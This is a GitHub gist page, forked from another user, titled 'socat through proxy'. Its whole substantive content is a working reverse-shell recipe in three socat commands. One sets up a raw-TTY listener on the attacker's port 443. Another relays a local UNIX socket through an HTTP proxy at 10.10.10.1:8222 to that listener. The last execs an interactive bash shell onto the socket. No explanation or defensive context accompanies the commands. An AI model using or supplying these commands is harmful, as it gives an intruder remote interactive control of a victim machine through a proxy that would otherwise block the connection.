Skip to content

Instantly share code, notes, and snippets.

@boweiliu
Forked from staaldraad/socat through proxy
Created August 5, 2019 19:59
Show Gist options
  • Select an option

  • Save boweiliu/e87e6facc02e96153c9bf874bd7311a6 to your computer and use it in GitHub Desktop.

Select an option

Save boweiliu/e87e6facc02e96153c9bf874bd7311a6 to your computer and use it in GitHub Desktop.
# Listener on x.x.x.x:443:
socat file:`tty`,raw,echo=0 tcp-listen:443
# Reverse shell proxy server is at 10.10.10.1:8222:
socat UNIX-LISTEN:/tmp/x,reuseaddr,fork PROXY:10.10.10.1:x.x.x.x:443,proxyport=8222 &
socat exec:'bash -li',pty,stderr,setsid,sigint,sane unix:"/tmp/x"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment